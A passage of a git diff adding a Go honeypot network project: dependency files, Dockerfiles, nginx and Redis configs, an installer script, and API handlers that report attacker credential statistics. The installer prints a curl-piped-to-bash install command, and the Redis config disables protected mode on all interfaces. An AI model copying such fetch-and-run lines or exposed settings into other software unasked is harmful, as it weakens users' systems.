indirect + github.com/mattn/go-colorable v0.1.14 // indirect + github.com/mattn/go-isatty v0.0.21 // indirect + github.com/mfridman/interpolate v0.0.2 // indirect + github.com/pmezard/go-difflib v1.0.0 // indirect + github.com/rogpeppe/go-internal v1.14.1 // indirect + github.com/sethvargo/go-retry v0.3.0 // indirect + github.com/spf13/pflag v1.0.10 // indirect + github.com/tidwall/btree v1.8.1 // indirect + github.com/tidwall/match v1.2.0 // indirect + go.uber.org/atomic v1.11.0 // indirect + go.uber.org/multierr v1.11.0 // indirect + golang.org/x/sys v0.43.0 // indirect + golang.org/x/text v0.36.0 // indirect +) diff --git a/PROJECTS/advanced/honeypot-network/go.sum b/PROJECTS/advanced/honeypot-network/go.sum new file mode 100644 index 00000000..db591996 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/go.sum @@ -0,0 +1,117 @@ +github.com/bsm/ginkgo/v2 v2.12.0 h1:Ny8MWAHyOepLGlLKYmXG4IEkioBysk6GpaRTLC8zwWs= +github.com/bsm/ginkgo/v2 v2.12.0/go.mod h1:SwYbGRRDovPVboqFv0tPTcG1sN61LM1Z4ARdbAV9g4c= +github.com/bsm/gomega v1.27.10 h1:yeMWxP2pV2fG3FgAODIY8EiRE3dy0aeFYt4l7wh6yKA= +github.com/bsm/gomega v1.27.10/go.mod h1:JyEr/xRbxbtgWNi8tIEVPUYZ5Dzef52k01W3YH0H+O0= +github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs= +github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g= +github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f h1:lO4WD4F/rVNCu3HqELle0jiPLLBs70cWOduZpkS1E78= +github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f/go.mod h1:cuUVRXasLTGF7a8hSLbxyZXjz+1KgoB3wDUb6vlszIc= +github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= +github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= +github.com/fatih/color v1.19.0 h1:Zp3PiM21/9Ld6FzSKyL5c/BULoe/ONr9KlbYVOfG8+w= +github.com/fatih/color v1.19.0/go.mod h1:zNk67I0ZUT1bEGsSGyCZYZNrHuTkJJB+r6Q9VuMi0LE= +github.com/go-chi/chi/v5 v5.2.5 h1:Eg4myHZBjyvJmAFjFvWgrqDTXFyOzjj7YIm3L3mu6Ug= +github.com/go-chi/chi/v5 v5.2.5/go.mod h1:X7Gx4mteadT3eDOMTsXzmI4/rwUpOwBHLpAfupzFJP0= +github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= +github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= +github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= +github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM= +github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg= +github.com/jackc/pgservicefile v0.0.0-20240606120523-5a60cdf6a761 h1:iCEnooe7UlwOQYpKFhBabPMi4aNAfoODPEFNiAnClxo= +github.com/jackc/pgservicefile v0.0.0-20240606120523-5a60cdf6a761/go.mod h1:5TJZWKEWniPve33vlWYSoGYefn3gLQRzjfDlhSJ9ZKM= +github.com/jackc/pgx/v5 v5.9.2 h1:3ZhOzMWnR4yJ+RW1XImIPsD1aNSz4T4fyP7zlQb56hw= +github.com/jackc/pgx/v5 v5.9.2/go.mod h1:mal1tBGAFfLHvZzaYh77YS/eC6IX9OWbRV1QIIM0Jn4= +github.com/jackc/puddle/v2 v2.2.2 h1:PR8nw+E/1w0GLuRFSmiioY6UooMp6KJv0/61nB7icHo= +github.com/jackc/puddle/v2 v2.2.2/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFrfEOc3H4= +github.com/klauspost/cpuid/v2 v2.0.9 h1:lgaqFMSdTdQYdZ04uHyN2d/eKdOMyi2YLSvlQIBFYa4= +github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg= +github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0= +github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk= +github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= +github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= +github.com/mattn/go-colorable v0.1.14 h1:9A9LHSqF/7dyVVX6g0U9cwm9pG3kP9gSzcuIPHPsaIE= +github.com/mattn/go-colorable v0.1.14/go.mod h1:6LmQG8QLFO4G5z1gPvYEzlUgJ2wF+stgPZH1UqBm1s8= +github.com/mattn/go-isatty v0.0.21 h1:xYae+lCNBP7QuW4PUnNG61ffM4hVIfm+zUzDuSzYLGs= +github.com/mattn/go-isatty v0.0.21/go.mod h1:ZXfXG4SQHsB/w3ZeOYbR0PrPwLy+n6xiMrJlRFqopa4= +github.com/mfridman/interpolate v0.0.2 h1:pnuTK7MQIxxFz1Gr+rjSIx9u7qVjf5VOoM/u6BbAxPY= +github.com/mfridman/interpolate v0.0.2/go.mod h1:p+7uk6oE07mpE/Ik1b8EckO0O4ZXiGAfshKBWLUM9Xg= +github.com/ncruces/go-strftime v1.0.0 h1:HMFp8mLCTPp341M/ZnA4qaf7ZlsbTc+miZjCLOFAw7w= +github.com/ncruces/go-strftime v1.0.0/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls= +github.com/oschwald/maxminddb-golang v1.13.1 h1:G3wwjdN9JmIK2o/ermkHM+98oX5fS+k5MbwsmL4MRQE= +github.com/oschwald/maxminddb-golang v1.13.1/go.mod h1:K4pgV9N/GcK694KSTmVSDTODk4IsCNThNdTmnaBZ/F8= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/pressly/goose/v3 v3.27.0 h1:/D30gVTuQhu0WsNZYbJi4DMOsx1lNq+6SkLe+Wp59BM= +github.com/pressly/goose/v3 v3.27.0/go.mod h1:3ZBeCXqzkgIRvrEMDkYh1guvtoJTU5oMMuDdkutoM78= +github.com/redis/go-redis/v9 v9.18.0 h1:pMkxYPkEbMPwRdenAzUNyFNrDgHx9U+DrBabWNfSRQs= +github.com/redis/go-redis/v9 v9.18.0/go.mod h1:k3ufPphLU5YXwNTUcCRXGxUoF1fqxnhFQmscfkCoDA0= +github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= +github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= +github.com/rogpeppe/go-internal v1.14.1 h1:UQB4HGPB6osV0SQTLymcB4TgvyWu6ZyliaW0tI/otEQ= +github.com/rogpeppe/go-internal v1.14.1/go.mod h1:MaRKkUm5W0goXpeCfT7UZI6fk/L7L7so1lCWt35ZSgc= +github.com/rs/zerolog v1.35.0 h1:VD0ykx7HMiMJytqINBsKcbLS+BJ4WYjz+05us+LRTdI= +github.com/rs/zerolog v1.35.0/go.mod h1:EjML9kdfa/RMA7h/6z6pYmq1ykOuA8/mjWaEvGI+jcw= +github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/sethvargo/go-retry v0.3.0 h1:EEt31A35QhrcRZtrYFDTBg91cqZVnFL2navjDrah2SE= +github.com/sethvargo/go-retry v0.3.0/go.mod h1:mNX17F0C/HguQMyMyJxcnU471gOZGxCLyYaFyAZraas= +github.com/spf13/cobra v1.10.2 h1:DMTTonx5m65Ic0GOoRY2c16WCbHxOOw6xxezuLaBpcU= +github.com/spf13/cobra v1.10.2/go.mod h1:7C1pvHqHw5A4vrJfjNwvOdzYu0Gml16OCs2GRiTUUS4= +github.com/spf13/pflag v1.0.9/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk= +github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= +github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= +github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= +github.com/tidwall/btree v1.1.0/go.mod h1:TzIRzen6yHbibdSfK6t8QimqbUnoxUSrZfeW7Uob0q4= +github.com/tidwall/btree v1.8.1 h1:27ehoXvm5AG/g+1VxLS1SD3vRhp/H7LuEfwNvddEdmA= +github.com/tidwall/btree v1.8.1/go.mod h1:jBbTdUWhSZClZWoDg54VnvV7/54modSOzDN7VXftj1A= +github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM= +github.com/tidwall/match v1.2.0 h1:0pt8FlkOwjN2fPt4bIl4BoNxb98gGHN2ObFEDkrfZnM= +github.com/tidwall/match v1.2.0/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM= +github.com/tidwall/redcon v1.6.2 h1:5qfvrrybgtO85jnhSravmkZyC0D+7WstbfCs3MmPhow= +github.com/tidwall/redcon v1.6.2/go.mod h1:p5Wbsgeyi2VSTBWOcA5vRXrOb9arFTcU2+ZzFjqV75Y= +github.com/zeebo/xxh3 v1.0.2 h1:xZmwmqxHZA8AI603jOQ0tMqmBr9lPeFwGg6d+xy9DC0= +github.com/zeebo/xxh3 v1.0.2/go.mod h1:5NWz9Sef7zIDm2JHfFlcQvNekmcEl9ekUZQQKCYaDcA= +go.uber.org/atomic v1.11.0 h1:ZvwS0R+56ePWxUNi+Atn9dWONBPp/AUETXlHW0DxSjE= +go.uber.org/atomic v1.11.0/go.mod h1:LUxbIzbOniOlMKjJjyPfpl4v+PKK2cNJn91OQbhoJI0= +go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0= +go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y= +go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg= +golang.org/x/crypto v0.50.0 h1:zO47/JPrL6vsNkINmLoo/PH1gcxpls50DNogFvB5ZGI= +golang.org/x/crypto v0.50.0/go.mod h1:3muZ7vA7PBCE6xgPX7nkzzjiUq87kRItoJQM1Yo8S+Q= +golang.org/x/exp v0.0.0-20260218203240-3dfff04db8fa h1:Zt3DZoOFFYkKhDT3v7Lm9FDMEV06GpzjG2jrqW+QTE0= +golang.org/x/exp v0.0.0-20260218203240-3dfff04db8fa/go.mod h1:K79w1Vqn7PoiZn+TkNpx3BUWUQksGO3JcVX6qIjytmA= +golang.org/x/sync v0.20.0 h1:e0PTpb7pjO8GAtTs2dQ6jYa5BWYlMuX047Dco/pItO4= +golang.org/x/sync v0.20.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0= +golang.org/x/sys v0.43.0 h1:Rlag2XtaFTxp19wS8MXlJwTvoh8ArU6ezoyFsMyCTNI= +golang.org/x/sys v0.43.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= +golang.org/x/term v0.42.0 h1:UiKe+zDFmJobeJ5ggPwOshJIVt6/Ft0rcfrXZDLWAWY= +golang.org/x/term v0.42.0/go.mod h1:Dq/D+snpsbazcBG5+F9Q1n2rXV8Ma+71xEjTRufARgY= +golang.org/x/text v0.36.0 h1:JfKh3XmcRPqZPKevfXVpI1wXPTqbkE5f7JA92a55Yxg= +golang.org/x/text v0.36.0/go.mod h1:NIdBknypM8iqVmPiuco0Dh6P5Jcdk8lJL0CUebqK164= +golang.org/x/time v0.15.0 h1:bbrp8t3bGUeFOx08pvsMYRTCVSMk89u4tKbNOZbp88U= +golang.org/x/time v0.15.0/go.mod h1:Y4YMaQmXwGQZoFaVFk4YpCt4FLQMYKZe9oeV/f4MSno= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +modernc.org/libc v1.68.0 h1:PJ5ikFOV5pwpW+VqCK1hKJuEWsonkIJhhIXyuF/91pQ= +modernc.org/libc v1.68.0/go.mod h1:NnKCYeoYgsEqnY3PgvNgAeaJnso968ygU8Z0DxjoEc0= +modernc.org/mathutil v1.7.1 h1:GCZVGXdaN8gTqB1Mf/usp1Y/hSqgI2vAGGP4jZMCxOU= +modernc.org/mathutil v1.7.1/go.mod h1:4p5IwJITfppl0G4sUEDtCr4DthTaT47/N3aT6MhfgJg= +modernc.org/memory v1.11.0 h1:o4QC8aMQzmcwCK3t3Ux/ZHmwFPzE6hf2Y5LbkRs+hbI= +modernc.org/memory v1.11.0/go.mod h1:/JP4VbVC+K5sU2wZi9bHoq2MAkCnrt2r98UGeSK7Mjw= +modernc.org/sqlite v1.46.1 h1:eFJ2ShBLIEnUWlLy12raN0Z1plqmFX9Qe3rjQTKt6sU= +modernc.org/sqlite v1.46.1/go.mod h1:CzbrU2lSB1DKUusvwGz7rqEKIq+NUd8GWuBBZDs9/nA= +nhooyr.io/websocket v1.8.17 h1:KEVeLJkUywCKVsnLIDlD/5gtayKp8VoCkksHCGGfT9Y= +nhooyr.io/websocket v1.8.17/go.mod h1:rN9OFWIUwuxg4fR5tELlYC04bXYowCP9GX47ivo2l+c= diff --git a/PROJECTS/advanced/honeypot-network/infra/docker/go.dev b/PROJECTS/advanced/honeypot-network/infra/docker/go.dev new file mode 100644 index 00000000..692e3599 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/infra/docker/go.dev @@ -0,0 +1,19 @@ +# ©AngelaMos | 2026 +# go.dev + +FROM golang:1.25-alpine + +RUN apk add --no-cache git curl + +RUN go install github.com/air-verse/air@latest + +WORKDIR /app + +COPY go.mod go.sum ./ +RUN go mod download + +COPY . . + +EXPOSE 2222 8080 2121 4450 3307 6380 8000 + +CMD ["air", "-c", ".air.toml"] diff --git a/PROJECTS/advanced/honeypot-network/infra/docker/go.prod b/PROJECTS/advanced/honeypot-network/infra/docker/go.prod new file mode 100644 index 00000000..9e88c560 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/infra/docker/go.prod @@ -0,0 +1,28 @@ +# ©AngelaMos | 2026 +# go.prod + +FROM golang:1.25-alpine AS builder + +RUN apk add --no-cache git + +WORKDIR /build + +COPY go.mod go.sum ./ +RUN go mod download + +COPY . . + +RUN CGO_ENABLED=0 GOOS=linux GOARCH=amd64 \ + go build -ldflags="-s -w" -trimpath \ + -o /build/hive ./cmd/hive + +FROM scratch + +COPY --from=builder /build/hive /hive +COPY --from=builder /build/migrations /migrations +COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/ + +EXPOSE 2222 8080 2121 4450 3307 6380 8000 + +ENTRYPOINT ["/hive"] +CMD ["serve"] diff --git a/PROJECTS/advanced/honeypot-network/infra/docker/vite.dev b/PROJECTS/advanced/honeypot-network/infra/docker/vite.dev new file mode 100644 index 00000000..958a50f4 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/infra/docker/vite.dev @@ -0,0 +1,17 @@ +# ©AngelaMos | 2026 +# vite.dev + +FROM node:24-alpine + +RUN corepack enable && corepack prepare pnpm@latest --activate + +WORKDIR /app + +COPY frontend/package.json frontend/pnpm-lock.yaml ./ +RUN pnpm install --frozen-lockfile + +COPY frontend/ . + +EXPOSE 5173 + +CMD ["pnpm", "dev", "--host"] diff --git a/PROJECTS/advanced/honeypot-network/infra/docker/vite.prod b/PROJECTS/advanced/honeypot-network/infra/docker/vite.prod new file mode 100644 index 00000000..5b5ab95d --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/infra/docker/vite.prod @@ -0,0 +1,24 @@ +# ©AngelaMos | 2026 +# vite.prod + +FROM node:24-alpine AS builder + +RUN corepack enable && corepack prepare pnpm@latest --activate + +WORKDIR /build + +COPY frontend/package.json frontend/pnpm-lock.yaml ./ +RUN pnpm install --frozen-lockfile + +COPY frontend/ . + +RUN pnpm build + +FROM nginx:1.27-alpine + +COPY --from=builder /build/dist /usr/share/nginx/html +COPY infra/nginx/hive.conf /etc/nginx/conf.d/default.conf + +EXPOSE 80 + +CMD ["nginx", "-g", "daemon off;"] diff --git a/PROJECTS/advanced/honeypot-network/infra/nginx/hive.conf b/PROJECTS/advanced/honeypot-network/infra/nginx/hive.conf new file mode 100644 index 00000000..ed95a216 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/infra/nginx/hive.conf @@ -0,0 +1,45 @@ +# ©AngelaMos | 2026 +# hive.conf + +upstream backend { + server backend:8000; +} + +server { + listen 80; + server_name _; + + root /usr/share/nginx/html; + index index.html; + + location /api/ { + proxy_pass http://backend; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_read_timeout 30s; + proxy_send_timeout 30s; + } + + location /ws/ { + proxy_pass http://backend; + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_read_timeout 86400s; + proxy_send_timeout 86400s; + } + + location / { + try_files $uri $uri/ /index.html; + } + + location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff2?)$ { + expires 30d; + add_header Cache-Control "public, immutable"; + } +} diff --git a/PROJECTS/advanced/honeypot-network/infra/redis/redis.conf b/PROJECTS/advanced/honeypot-network/infra/redis/redis.conf new file mode 100644 index 00000000..ce5a07e1 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/infra/redis/redis.conf @@ -0,0 +1,21 @@ +# ©AngelaMos | 2026 +# redis.conf + +bind 0.0.0.0 +port 6379 +protected-mode no + +appendonly yes +appendfsync everysec + +maxmemory 256mb +maxmemory-policy allkeys-lru + +save 900 1 +save 300 10 +save 60 10000 + +tcp-keepalive 300 +timeout 0 + +databases 4 diff --git a/PROJECTS/advanced/honeypot-network/install.sh b/PROJECTS/advanced/honeypot-network/install.sh new file mode 100755 index 00000000..01deb886 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/install.sh @@ -0,0 +1,148 @@ +#!/usr/bin/env bash +# ©AngelaMos | 2026 +# install.sh + +set -euo pipefail + +RED='\033[0;31m' +GREEN='\033[0;32m' +CYAN='\033[0;36m' +DIM='\033[2m' +NC='\033[0m' + +info() { printf "${CYAN}▸${NC} %s\n" "$1"; } +ok() { printf "${GREEN}✓${NC} %s\n" "$1"; } +fail() { printf "${RED}✗${NC} %s\n" "$1"; exit 1; } + +MIN_GO="1.25" +MIN_NODE="20" + +banner() { + printf "\n" + printf "${CYAN}" + cat <<'EOF' + ██╗ ██╗██╗██╗ ██╗███████╗ + ██║ ██║██║██║ ██║██╔════╝ + ███████║██║██║ ██║█████╗ + ██╔══██║██║╚██╗ ██╔╝██╔══╝ + ██║ ██║██║ ╚████╔╝ ███████╗ + ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚══════╝ +EOF + printf "${NC}" + printf " ${DIM}honeypot network installer${NC}\n" + printf "\n" +} + +check_go() { + if ! command -v go &>/dev/null; then + fail "Go is not installed. Get it at https://go.dev/dl/" + fi + + local ver + ver=$(go version | grep -oP 'go\K[0-9]+\.[0-9]+') + + if ! printf '%s\n%s\n' "$MIN_GO" "$ver" \ + | sort -V | head -n1 | grep -qx "$MIN_GO"; then + fail "Go $MIN_GO+ required (found $ver)" + fi + + ok "Go $ver" +} + +check_node() { + if ! command -v node &>/dev/null; then + fail "Node.js is not installed. Get it at https://nodejs.org/" + fi + + local ver + ver=$(node -v | sed 's/^v//' | cut -d. -f1) + + if [ "$ver" -lt "$MIN_NODE" ]; then + fail "Node $MIN_NODE+ required (found v$ver)" + fi + + ok "Node $(node -v)" +} + +check_pnpm() { + if ! command -v pnpm &>/dev/null; then + info "pnpm not found. Installing via corepack..." + corepack enable + corepack prepare pnpm@latest --activate + fi + ok "pnpm $(pnpm -v 2>/dev/null)" +} + +check_docker() { + if command -v docker &>/dev/null; then + ok "Docker $(docker --version 2>/dev/null | grep -oP '[0-9]+\.[0-9]+\.[0-9]+')" + else + info "Docker not found (optional). Install: https://docs.docker.com/get-docker/" + fi +} + +check_just() { + if command -v just &>/dev/null; then + ok "just $(just --version 2>/dev/null | head -1)" + else + info "just not found (optional). Install: curl -sSf https://just.systems/install.sh | bash -s -- --to ~/.local/bin" + fi +} + +build_and_install() { + info "Building hive binary..." + go mod tidy + go build -ldflags="-s -w" -o bin/hive ./cmd/hive + local size + size=$(du -h bin/hive | cut -f1) + ok "Built bin/hive ($size)" + + info "Installing hive to GOPATH..." + go install -ldflags="-s -w" ./cmd/hive + ok "Installed hive → $(go env GOPATH)/bin/hive" +} + +install_frontend() { + info "Installing frontend dependencies..." + cd frontend + pnpm install --frozen-lockfile 2>/dev/null || pnpm install + ok "Frontend dependencies installed" + cd .. +} + +run_tests() { + info "Running Go tests..." + if go test -race ./... >/dev/null 2>&1; then + ok "All Go tests passed" + else + fail "Tests failed. Run 'go test -v ./...' for details." + fi +} + +main() { + banner + + info "Checking dependencies..." + check_go + check_node + check_pnpm + check_docker + check_just + + printf "\n" + + build_and_install + install_frontend + run_tests + + printf "\n" + ok "Setup complete" + printf "\n" + printf " ${DIM}Verify:${NC} hive version\n" + printf " ${DIM}Run with Docker:${NC} just dev-up\n" + printf " ${DIM}Run locally:${NC} just dev-serve\n" + printf " ${DIM}Run frontend:${NC} cd frontend && pnpm dev\n" + printf "\n" +} + +main "$@" diff --git a/PROJECTS/advanced/honeypot-network/internal/api/handlers.go b/PROJECTS/advanced/honeypot-network/internal/api/handlers.go new file mode 100644 index 00000000..d5c6953d --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/api/handlers.go @@ -0,0 +1,665 @@ +/* +©AngelaMos | 2026 +handlers.go + +REST endpoint handlers for the hive dashboard API + +Each handler reads from the persistent store, formats the response +as JSON, and returns it with appropriate HTTP status codes. +Pagination is supported on list endpoints via limit and offset +query parameters. Export endpoints stream STIX bundles and +firewall blocklists as downloadable files. +*/ + +package api + +import ( + "encoding/json" + "fmt" + "net/http" + "os" + "path/filepath" + "strconv" + "time" + + "github.com/go-chi/chi/v5" + + "github.com/CarterPerez-dev/hive/internal/intel" + "github.com/CarterPerez-dev/hive/pkg/types" +) + +type apiResponse struct { + Data interface{} `json:"data"` +} + +type paginatedResponse struct { + Data interface{} `json:"data"` + Total int64 `json:"total"` + Limit int `json:"limit"` + Offset int `json:"offset"` +} + +type apiError struct { + Error string `json:"error"` +} + +type overviewStats struct { + TotalEvents int64 `json:"total_events"` + ActiveSessions int `json:"active_sessions"` + EventsByService map[string]int64 `json:"events_by_service"` +} + +type credentialStats struct { + TopUsernames []credentialEntry `json:"top_usernames"` + TopPasswords []credentialEntry `json:"top_passwords"` + TopPairs []credentialPair `json:"top_pairs"` +} + +type credentialEntry struct { + Value string `json:"value"` + Count int64 `json:"count"` +} + +type credentialPair struct { + Username string `json:"username"` + Password string `json:"password"` + Count int64 `json:"count"` +} + +type techniqueInfo struct { + ID string `json:"id"` + Name string `json:"name"` + Tactic string `json:"tactic"` +} + +type heatmapEntry struct { + TechniqueID string `json:"technique_id"` + Name string `json:"name"` + Tactic string `json:"tactic"` + Count int64 `json:"count"` +} + +type sensorInfo struct { + ID string `json:"id"` + Hostname string `json:"hostname"` + Region string `json:"region"` + Services []string `json:"services"` + StartedAt time.Time `json:"started_at"` + Status string `json:"status"` +} + +func (s *Server) writeJSON( + w http.ResponseWriter, + status int, + data interface{}, +) { + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(status) + _ = json.NewEncoder(w).Encode(data) +} + +func (s *Server) writeError( + w http.ResponseWriter, status int, msg string, +) { + s.writeJSON(w, status, apiError{Error: msg}) +} + +func (s *Server) handleHealth( + w http.ResponseWriter, _ *http.Request, +) { + s.writeJSON(w, http.StatusOK, apiResponse{ + Data: map[string]interface{}{ + "status": "ok", + "version": types.Version, + "sensor": s.cfg.Sensor.ID, + }, + }) +} + +func (s *Server) handleStatsOverview( + w http.ResponseWriter, r *http.Request, +) { + ctx := r.Context() + since := time.Now().UTC().Add( + -parseDuration(r), + ) + + totalEvents, err := s.store.TotalCount(ctx) + if err != nil { + s.writeError( + w, http.StatusInternalServerError, + "failed to count events", + ) + return + } + + byService, err := s.store.CountByService(ctx, since) + if err != nil { + s.writeError( + w, http.StatusInternalServerError, + "failed to count by service", + ) + return + } + + serviceMap := make(map[string]int64, len(byService)) + for svc, count := range byService { + serviceMap[svc.String()] = count + } + + s.writeJSON(w, http.StatusOK, apiResponse{ + Data: overviewStats{ + TotalEvents: totalEvents, + ActiveSessions: s.tracker.Count(), + EventsByService: serviceMap, + }, + }) +} + +func (s *Server) handleStatsCountries( + w http.ResponseWriter, r *http.Request, +) { + ctx := r.Context() + since := time.Now().UTC().Add( + -parseDuration(r), + ) + + countries, err := s.store.CountByCountry(ctx, since) + if err != nil { + s.writeError( + w, http.StatusInternalServerError, + "failed to count by country", + ) + return + } + + s.writeJSON(w, http.StatusOK, apiResponse{ + Data: countries, + }) +} + +func (s *Server) handleStatsCredentials( + w http.ResponseWriter, r *http.Request, +) { + ctx := r.Context() + + usernames, err := s.store.TopUsernames( + ctx, defaultCredentialTop, + ) + if err != nil { + s.writeError( + w, http.StatusInternalServerError, + "failed to query usernames", + ) + return + } + + passwords, err := s.store.TopPasswords( + ctx, defaultCredentialTop, + ) + if err != nil { + s.writeError( + w, http.StatusInternalServerError, + "failed to query passwords", + ) + return + } + + pairs, err := s.store.TopPairs( + ctx, defaultCredentialTop, + ) + if err != nil { + s.writeError( + w, http.StatusInternalServerError, + "failed to query credential pairs", + ) + return + } + + topU := make([]credentialEntry, len(usernames)) + for i, u := range usernames { + topU[i] = credentialEntry{ + Value: u.Value, Count: u.Count, + } + } + + topP := make([]credentialEntry, len(passwords)) + for i, p := range passwords { + topP[i] = credentialEntry{ + Value: p.Value, Count: p.Count, + } + } + + topPairs := make([]credentialPair, len(pairs)) + for i, p := range pairs { + topPairs[i] = 